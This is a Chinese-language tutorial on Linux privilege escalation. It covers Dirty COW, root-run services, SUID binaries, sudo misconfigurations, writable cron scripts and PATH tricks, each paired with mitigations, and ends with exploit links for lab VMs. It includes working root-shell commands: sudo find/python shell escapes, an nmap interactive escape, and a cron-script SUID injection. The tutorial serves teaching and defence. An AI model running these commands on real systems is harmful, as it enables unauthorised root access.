什么是权限提升?
大多数计算机系统都是为多个用户而设计的,这些用户分别具有不同的权限。所谓权限,就是用户被允许执行的操作。常用的权限包括查看文件、编辑文件和修改系统文件。权限提升,就是使用户获得他们原本不具有的权限。这些权限可以用于删除文件、查看私密信息、安装有害程序(例如病毒)。要实现权限提升,通常需要借助于一个系统漏洞来绕过相应的安全配置,或者是借助于系统中设计有缺陷的地方。
详细来说,权限提升是指利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽,让应用或用户获得对受保护资源的高级访问权限。权限提升可以直接导致应用程序越过开发者或系统管理员的设定,获得更高的权限,并执行未经授权的操作。
根据统计数据,相比于Linux来说,目前大多数企业都拥有更多的Windows客户端。尽管如此,但如果我们考虑信息安全的整体策略时,就必须将Linux权限提升攻击看作一个重要的威胁。并且,企业中最关键的基础设施(比如Web服务器、数据库、防火墙等)极有可能运行的是Linux操作系统。一旦这些关键设备遭到入侵,那么有可能严重影响企业的正常运作。此外,随着物联网(IoT)和嵌入式系统的日渐普及,黑客也逐渐将注意力转向它们,因此对这些设备进行加固与防护就显得至关重要。
目标
在这篇文章中,我们将详细讨论基于Linux的系统上可能导致权限提升攻击的安全问题,并会讲解攻击者如何借助已知技术进行远程主机的权限提升,同时将告诉大家如何保护我们的系统免受此类攻击。最后,我们还会根据不同Linux系统环境来讲解如何实现权限提升。
Linux中的权限模型
Linux系统从UNIX继承了文件所有权和权限的概念。设定并检查文件权限,是系统防止恶意篡改的一种方式。在UNIX Web服务器上,存储在硬盘上的每一个文件和文件夹都有一组与之相关联的权限,该权限表明了允许谁执行文件操作。
在上面两个屏幕截图中,我们可以看到文件docker-compose.yml只具有所有者root用户的只读访问权限。如果有其他用户试图读取该文件,将会被拒绝。当我们以非超级用户身份尝试读取文件时,会出现Permission Denied的错误。
考虑到篇幅所限,在这里,我们将不会深入讲解权限模型的细节。大家只需要理解,普通用户无权访问未授予其权限的所有文件,具体包括读/写/执行操作。然而,超级用户(root)却可以访问系统中存在的所有文件。为了改写重要配置或实现进一步攻击,首先我们就需要在Linux系统上获得root权限。
为什么我们需要进行权限提升?
读/写任意敏感文件
在重启后依然保持运行(保证持久性)
可以安插一个永久的后门
用于权限提升的相关技术
假设我们已经在目标系统上放置了一个Shell。但目前,我们还并没有root特权,能进行的操作也相当有限。由此,我们可以使用下面的一些技术,在系统上获得”root”访问权限。
1. 内核开发
内核漏洞利用程序借助于内核漏洞,可以执行具有更高权限的任意代码。一次成功的内核漏洞攻击,通常会使得攻击者以超级用户的身份访问目标系统,大多是通过root命令提示符的方法进行操作。在大多数情况下,提升到Linux系统的root权限只需要将内核漏洞利用程序下载到目标主机,随后编译并执行即可完成。
假设我们可以以非特权用户的身份运行代码,下面是内核利用的通用流程
(1) 诱使内核在内核模式下运行我们的有效载荷;
(2) 修改内核数据,例如进程权限;
(3) 以新权限启动一个Shell,并获取root权限。
如果想要成功进行内核利用攻击,就需要下面四个条件:
(1) 易受攻击的内核;
(2) 存在相应的漏洞;
(3) 拥有将漏洞利用转移到目标上的能力;
(4) 拥有在目标上执行漏洞利用的能力。
要防范内核漏洞,最简单的方法是保证及时更新。一旦补丁未进行及时更新,就存在着已知漏洞被黑客利用的风险。如果因某些原因暂时无法打上补丁,管理员可以对目标主机传输和执行漏洞利用的能力进行限制。如果管理员能够阻止Linux文件系统上的漏洞利用导入和执行,那么内核攻击漏洞便不再可行。具体来说,管理员应该重点对启用文件传输的程序进行限制或删除,例如FTP、TFTP、SCP、wget和curl。如果需要用到这些程序,应该对使用的用户、目录、应用程序和特定IP地址/域名进行严格限制。
臭名昭著的脏牛(DirtyCow)漏洞可在Linux内核3.19.0-3.73.8之间利用。
Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。这是迄今为止发现的最严重的权限提升漏洞之一,几乎影响到所有主要的Linux发行版本。
如何利用脏牛漏洞实现攻击:
$ whoami - 显示当前用户是John(非root用户)。
$ uname -a - 显示内核版本,我们得知该版本受脏牛漏洞影响。
> 从这里下载脏牛漏洞的EXP - https://www.exploit-db.com/exploits/40839/
> 编译并执行。通过编辑/etc/passwd文件,将"root"用户替换为新用户"rash"。
$ su rash - 将当前登陆的用户修改为root权限的rash。
关于脏牛漏洞的其他利用方法,可以在这里查看:https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
针对不同的内核和操作系统,有许多不同的本地权限提升漏洞可供使用。具体每个漏洞而言,能否使用该漏洞取决于该版本的内核是否易受攻击。Kail Linux拥有exploit-db漏洞的本地副本,可以用来轻松搜索root漏洞。但建议不要在搜索Linux内核漏洞时完全依赖该数据库。
$ searchsploit Linux Kernel 2.6.24 - 可以向我们展示在Kail Linux中保存的特定Linux内核的所有可用漏洞。
为什么我们不应该首先考虑权限提升漏洞?
虽然权限提升漏洞的利用方式非常简单,只需要运行漏洞利用程序并获得root权限即可,但考虑到如下原因,我们不应该首先考虑这种方式:
(1) 远程主机可能会崩溃,原因在于许多公开的root漏洞利用程序并不稳定;
(2) 在得到root之后可能会导致崩溃;
(3) 该漏洞利用可能留下痕迹或日志记录,并引起运维人员的注意。
因此,建议大家首先尝试其他方法来获取root权限,并将上述方案作为最后的备选。
防范方法:
及时打补丁更新,时刻保持内核的版本最新。
2. 利用正在以root身份运行的服务
著名的EternalBlue和SambaCry攻击都利用了通常以root身份运行的SMB服务。
只需要一次攻击,攻击者就可以获得远程代码执行权限和本地权限提升。
因为上述二者组合起来非常致命,因此该漏洞被广泛用于在全球范围内传播勒索软件。
我们应该使用检查Web服务器、邮件服务器、数据库服务器等重要服务器是否以root身份运行。在很多时候,Web管理员会以root身份运行这些服务,忽视了其可能导致的安全问题。有一些服务是在本地运行的,不会对外暴露,但同样可以被利用。
$ netstat -antup - 该命令可以显示所有打开并正在监听的端口,我们可以通过此命令检查是否有可以利用的本地服务。
利用以root身份运行的受漏洞影响MySQL来获取root访问权限:
MySQL UDF动态库漏洞利用可以允许我们从MySQL Shell执行任意命令。如果MySQL是以root权限运行的,那么这些命令就会以root身份来执行。
$ ps -aux | grep root - 显示以root用户身份运行的服务。
> 我们可以用MySQL Shell执行任意命令,这些命令会以root身份来执行。
一些网络管理员的最大失误,就是运行具有root权限的网络服务器。Web应用程序上的一些命令注入漏洞可能导致攻击者获得root shell。因此,除非真正需要,我们应该避免以root身份运行任何服务。
此外,对root用户程序进行二进制利用的风险要比内核利用小得多,原因在于即使服务崩溃,主机也不会崩溃,并且服务可能会自动重启。
防范方法:
除非真正需要,否则绝不要以root身份运行任何服务,特别是Web、数据库和文件服务器。
3. 利用可执行文件SUID
SUID即Set User ID(设置用户ID),它允许用户使用指定用户的权限来执行文件。例如,Linux中的ping命令通常需要root权限才能打开原始的网络套接字。如果将ping程序的SUID标记为root用户,就可以让低权限用户在执行程序时,直接以root权限执行。
> -rwsr-xr-x- 如果其中的x字符被s替代,则证明设置了相应的SUID。
SUID这个功能如果使用得当,可以有效增强Linux的安全性。然而,管理员在安装第三方应用程序或进行逻辑配置更改时,可能会在不知不觉中引入危险的SUID配置。
许多系统管理员都不了解应该在哪里设置SUID位,我们需要特别强调,管理员不应在任何文件编辑器上设置SUID位,因为这样可以让攻击者覆盖系统中存在的任何文件。
利用易受攻击的SUID可执行文件获取root访问权限:
$ find / -perm -u=s -type f 2>/dev/null - 打印设置了SUID位的可执行文件。
![](https://payatu.com/wp-content/uploads/2018/02/suid_bit_set_nmap.png)
$ ls -la /usr/local/bin/nmap - 确认nmap是否设置了SUID位。
![](https://payatu.com/wp-content/uploads/2018/02/suid_nmap.png)
> Nmap设置了SUID位。很多时候,管理员会为Nmap设置SUID位,以便它可以有效地扫描网络,如果不以root权限运行,那么所有的扫描都将失效。
> 然而,在nmap早期版本中有一个功能,可以在交互模式下运行nmap,允许用户转到Shell。如果nmap设置了SUID位,它将会以root权限运行,就可以通过交互模式访问root Shell。
$ nmap -interactive - 运行nmap交互模式(Interactive Mode)。
$ !sh - 从nmap Shell转到系统Shell。
防范方法:
不应将SUID位设置为允许转到Shell的任何程序。
不应该在任何文件编辑器、编译器、解释器上设置SUID位,这样可以让攻击者轻松读取、覆盖系统上存在的任何文件。
4. 利用SUDO权限/用户
如果攻击者不能通过其他技直接获得root访问权限,那么他可能会尝试破坏任何拥有SUDO访问权限的用户。一旦攻击者有权访问任何SUDO用户,那么他基本上就可以使用root权限执行任何命令。
管理员可能只允许用户通过SUDO运行一些命令,但绝对不是所有命令,即使是使用这样的配置,他们也可能会在不知情的情况下引入漏洞,从而导致权限提升的风险。
其中,一个比较典型的例子是将SUDO权限分配给find命令,以便另一个用户可以在系统中搜索特定的文件或日志。虽然管理员可能不知道find命令包含用于执行命令的参数,但实际上,攻击者确实可以使用root权限来执行命令。
利用错误配置的SUDO权限获取root访问权限:
$ sudo -l - 打印允许作为SUDO运行的命令。
我们可以以SUDO运行find、cat和python。这些命令在用SUDO时会以root用户身份运行。如果我们可以通过这些命令,以某种方式逃逸到Shell,那我们就可以获得root权限。
$ sudo find /home -exec sh -i ; - find命令的exec参数可用于任意代码执行。
> 不要将SUDO权限赋予任何编程语言编译器、解释器和编辑器。
> 这种技术也可以用于vi、more、less、perl、ruby、gdb和其他命令。
$ sudo python -c 'import pty;pty.spawn("/bin/bash");' - 产生一个Shell。
防范方法:
不要将SUDO权限授予任何允许逃逸到Shell的程序。
不要将SUDO权限赋予vi、more、less、perl、ruby、gdb等命令。
5. 利用未正确配置的CRON任务
如果Cron任务配置不当,可能会被利用获取root权限。
(1) 任何可写的Cron任务脚本或二进制文件?
(2) 我们是否可以自己覆盖写入Cron文件?
(3) cron.d目录是否可写入?
Cron任务常常以root权限运行。如果我们可以成功篡改Cron任务中定义的任何脚本或二进制文件,我们便可以使用root权限执行任意代码。
利用错误配置的Cron任务来获取root1访问权限:
$ ls -la /etc/cron.d - 打印cron.d中已经存在的Cron任务。
![](https://payatu.com/wp-content/uploads/2018/02/cron-1.png)
$ find / -perm -2 -type f 2>/dev/null - 打印全局可写入文件。
$ ls -la /usr/local/sbin/cron-logrotate.sh - 确认cron-logrotate.sh是否是全局可写入的。
> cron-logrotate.sh是全局可写入的,它由cronjob运行。我们在cron-logrotate.sh中写入/添加的任何命令都会以root身份执行。
> 我们在/tmp目录下编写一个C文件,并对其进行编译。
> rootme可执行文件会产生一个Shell。
$ ls -la rootme - 说明该文件由用户SHayslett拥有。
$ echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;">/usr/local/sbin/cron-logrotate.sh - 将可执行文件的所有者和分组修改为root,同时也会设置SUID位。
$ ls -la rootme - 在5分钟后,运行logrotate Cron任务,cron-logrotate.sh会以root权限执行。
$ ./rootme - 产生一个root Shell。
防范方法:
在Cron任务中定义的任何脚本或二进制文件都不应该是可写入的。
Cron文件不应被除root之外的任何用户写入。
Cron.d目录不应被除root之外的任何用户写入。
6. 在用户路径上利用’.’实现利用
如果PATH中带有’.’,就意味着用户可以从当前目录执行二进制文件或脚本。为了变每次都输入这两个额外的字符,用户可能会将’.’添加到他们的PATH中。对于攻击者来说,这是一个用于权限提升的不错方式。
假如Susan是一名管理员,她在她的路径中添加了’.’,这样就不必再写入两个字符。
路径中有’.’ – program
路径中没有’.’ – ./program
这种情况的原因在于,Linux会首先在PATH中添加’.’,然后在其他地方进行搜索时,会首先在当前目录中搜索程序。
> 假设另一个用户rashid知道Susan在她的PATH中加入了'.'。
> rashid告诉Susan说,'ls'命令在他的目录下不起作用。
> rashid在他的目录中添加一个代码,该代码可以更改sudoers文件,使rashid成为管理员。
> rashid将该代码保存在名为'ls'的文件中并使其可执行。
> Susan拥有root权限,她在rashid的主目录下执行了'ls'命令。
> 恶意代码将会代替原来的'ls'命令,以root权限执行。
> 在名称为"ls"的文件中,添加了一行代码,该代码将会打印出"Hello World"。
$ PATH=.:${PATH} - 将'.'添加到PATH变量中。
$ ls - 执行./ls文件,而不是执行list命令。
> 现在,如果root用户以root权限执行代码,我们就可以使用root权限实现任意代码执行。
防范方法:
不要将’.’放在你的路径中。
不同虚拟机环境上的权限提升方法
目前,我已经编译了一系列不同的权限提升方法,并且成功在不同的虚拟机上获得了root权限。我们在这里提供一个整体思路,也就是告诉大家如何在实际场景中使用上述技术。很多时候,可以选择多种技术在同一台机器上获得”root”访问权限。
- Kioptrix 1
内核漏洞攻击 – Apache mod_ssl < 2.8.7 OpenSSL – ‘OpenFuckV2.c’远程缓冲区溢出( https://www.exploit-db.com/exploits/764/ )
SMB漏洞利用 – Samba(2.2.1a) trans2open缓冲区溢出( https://www.exploit-db.com/exploits/7/ ) - Kioptrix 2
内核漏洞利用 – Linux Kernel 2.6 < 2.6.19 – ‘ip_append_data()’ Ring0权限提升(1)( https://www.exploit-db.com/exploits/9542/ ) - Kioptrix 3
在文件编辑器上设置SUID位 – 编辑/etc/sudoers文件以获得SUDO权限 - Kioptrix 4
内核漏洞利用 – ‘Dirty COW’ ‘PTRACE_POKEDATA’竞争条件权限提升( https://www.exploit-db.com/exploits/40839/ )
MySQL漏洞利用 – MySQL 4.x/5.0 (Linux) – 用户定义函数(UDF)动态库(2)( https://www.exploit-db.com/exploits/1518/ )
内核漏洞利用 – 2.4/2.6 sock_sendpage() ring0 Root利用( https://packetstormsecurity.com/files/80539/Linux-2.4-2.6-sock_sendpage-Local-ring0-Root-Exploit.html ) - Kioptrix 5
内核漏洞利用 – FreeBSD 9.0 – Intel SYSRET内核权限提升( https://www.exploit-db.com/exploits/28718/ ) - SickOS 1.2
未正确配置的Cron任务 – Chkrootkit 0.49 – 本地权限提升( https://www.exploit-db.com/exploits/33899/ ) - Stapler
正在运行的受漏洞影响版本Samba – SambaCry利用( https://www.rapid7.com/db/modules/exploit/Linux/samba/is_known_pipename )
未正确配置的Cron任务 – 全局可写cron文件
在.bash_history中找到root密码
内核漏洞利用 – Linux Kernel 4.4.x (Ubuntu 16.04) – ‘double-fdput()’ bpf(BPF_PROG_LOAD) 权限提升( https://www.exploit-db.com/exploits/39772/ ) - Troll1
Sudo su得到root权限 - MrRobot
在nmap上设置SUID位 – 从nmap交互模式转到Shell - Vulnix
未正确配置的服务 – root_squash目录装载错误配置 - droopy
内核漏洞利用 – ‘overlayfs’权限提升( https://www.exploit-db.com/exploits/37292/ ) - VulnOsv2
内核漏洞利用 – ‘overlayfs’权限提升( https://www.exploit-db.com/exploits/37292/ ) - Fristileaks
SUDO权限赋予一个易受攻击的二进制文件 - LordOfTheRoot
内核漏洞利用 – ‘overlayfs’权限提升( https://www.exploit-db.com/exploits/37292/ )
重要资源
大家可以参考这些博客文章,以便更好地了解Linux权限提升的相关知识。
基础的Linux权限提升:https://blog.g0tmi1k.com/2011/08/basic-Linux-privilege-escalation/
本地Linux遍历和权限提升备忘录:https://www.rebootuser.com/?p=1623
黑客入侵Linux第一部分-权限提升:http://www.dankalia.com/tutor/01005/0100501004.htm
权限提升:https://chryzsh.gitbooks.io/pentestbook/privilege_escalation_-_Linux.html
以下是遍历脚本。尽管我们建议手动进行便利,但使用脚本无疑会更为便捷,但运行脚本可能会产生一些误报。
unix-privesc-check:http://pentestmonkey.net/tools/audit/unix-privesc-check
Linuxprivchecker(我的最爱):https://github.com/sleventyeleven/Linuxprivchecker
LinEnum:https://github.com/rebootuser/LinEnum
参考
http://www.dankalia.com/tutor/01005/0100501004.htmhttps://tc.gtisc.gatech.edu/bss/2014/r/kernel-exploits.pdf
https://www.youtube.com/watch?v=dk2wsyFiosg
https://www.sans.org/reading-room/whitepapers/testing/attack-defend-Linux-privilege-escalation-techniques-2016-37562